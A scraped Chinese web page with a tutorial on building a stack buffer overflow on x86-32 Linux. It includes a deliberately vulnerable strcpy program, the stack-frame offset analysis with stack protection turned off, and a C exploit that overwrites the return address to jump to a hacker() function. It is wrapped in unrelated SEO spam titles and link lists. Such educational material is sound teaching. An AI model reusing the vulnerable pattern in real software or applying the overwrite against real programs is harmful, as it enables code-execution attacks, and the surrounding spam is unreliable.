当前位置: 首页 > news >正文

做销售的什么网站好安装wordpress连接不上数据库文件

做销售的什么网站好,安装wordpress连接不上数据库文件,规划设计网址,施工企业经营情况汇报材料在x86-32-Linux下构造一个栈溢出攻击 栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。 IA-32下C函数调用约定: 调用者将参数从右向左入栈,构造参数call 指令短跳转,会将call指令下一…

在x86-32-Linux下构造一个栈溢出攻击

栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。

IA-32下C函数调用约定:

  1. 调用者将参数从右向左入栈,构造参数
  2. call 指令短跳转,会将call指令下一条指令地址(RA)入栈,供RET指令返回使用
  3. 被调用函数创建栈帧,push %ebp; mov %esp, %ebp;

则一个函数调用的栈帧情况:

void func(int a,int b,int c) {int tmp = 0x99;return ;
}
void main() {func(1,2,3);
}
0x0参数C
0x4参数B
0x8参数A
0xCRA地址
0x10旧%ebp
0x14tmp变量值0x99

攻击原理: 利用strcpy(dst, src)函数,对写入的src数据长度不做检查的特性,对函数的栈数组进行写溢出攻击。

假设待写溢出的数组在test()中

// a.c
#include <stdio.h>
#include <string.h>void test(char *str) {char buffer[16]; // 待攻击处strcpy(buffer, str);printf("%s\n", buffer);
}void hacker(void) {printf("being hacked\n");
}int main(int argc,char *argv[]) {test(argv[1]);return 0;
}

gcc a.c -o a.out 编译后,objdump -d a.out反汇编查看栈布局。

发现GCC对strcpy()的调用处插入栈检查代码call 8048398 <__stack_chk_fail@plt>.

首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector,查看反汇编发现没有了栈检查代码。

于是根据反汇编代码来得到test()的栈帧布局情况。
1

sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间,布局如下。

并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址

数组buffer的起始地址是-0x18(%ebp),于是便能够知道数组在栈帧的中的位置

%ebp+0x8参数 char *str
%ebp+0x4RA返回地址
%ebp当前的值,也就是test的栈底,0main的%ebp
%ebp-0x4
ebp-0x8
-0xCbuf 12~15
-0x10buf 8~11
-0x14buf 4~7
-0x18buf 0~3
-0x1C
%ebp-0x20
%ebp-0x24 = %esp + 0x4strcpy的参数:char *str
%ebp-0x28 = %espstrcpy的参数:buf地址=-0x18(%ebp)

既然有了buffer数组的位置,那么就能得到buffer数组到RA返回地址处的长度=16+3*4=28字节,28字节后面开始的 4字节便是需要构造的"攻击"跳转地址

假设我们想要其跳转到void hacker()函数,写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址

2

有了hacker()函数地址,便能构造写溢出攻击字符串的内容了,28字节的垃圾字符+4字节hacker()函数地址+\0

代码如下:

// test.c
#include <unistd.h>
#include <stdio.h>char tmp[33];int main() {for (int i=0; i<28; i++)tmp[i] = 'F';// 对应hacker()地址 0x08048439tmp[28] = '\x39';tmp[29] = '\x84';tmp[30] = '\x04';tmp[31] = '\x08';tmp[32] = '\0';char *argv[3] = { "./a.out", tmp, NULL};execve(argv[0], argv, NULL);return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -std=c99

./test运行结果如下:栈溢出攻击成功
3

总结

需要根据反汇编代码来查看函数栈中的变量的布局,然后根据栈变量布局再来构造溢出字符串。

http://www.15wanjia.com/news/168445.html

相关文章:

  • 肇庆搞产品网站的公司外贸推广网站哪家
  • 电商网站开发视频教程三亚旅游
  • 在线网站编辑wordpress的seo作用
  • 郑州电商网站设计手机网站开发用什么框架好
  • 青岛网站推广引流东莞建筑公司前十强
  • 宜昌视频网站建设自建网站备案
  • 简述电子商务网站建设的过程做网站要什么
  • 专门做图的网站只能在线观看的电影网站咋么做
  • 杰森影像网站建设六盘水网站建设求职简历
  • 洛阳市住房和城乡建设局网站长春网站seo
  • 代做毕业设计找哪个网站好小学英语教师做应用相关网站
  • 湖北省建设主管网站本地企业网站建设模板
  • 网站正在建设中 html5越秀区居家办公
  • 云南网站建设小程序开发软件外包业务
  • 建筑网站大全免费无货源网店进货app
  • 全国建设造价信息网站鲜花网站建设结构布局
  • 做两个阿里网站适合在家做的电商
  • 如何开发一个视频网站网页打不开什么原因
  • 加强网站内容建设创新pop布局的网站
  • 摄影作品网站风景南康建设局官方网站
  • 美观网站建设哪家好wordpress 树形分类
  • 了解c2c电商网站的特点网页设计师需要学什么课程
  • 网站建设代码走查潍坊百度网站快速排名
  • 做目录右内容网站广东省建设网站
  • 电子商务网站应该如何建设江苏城乡住房建设部网站
  • 广西新农村建设工作专题网站网络工程师 招聘
  • 网站建设及维护徐州网站建设 徐州网站推广
  • 管理网站建设哪家公司好黄冈商城网站建设哪家好
  • 文字网站建设淘宝无货源一键铺货软件
  • 小程序代码做网站Wordpress税表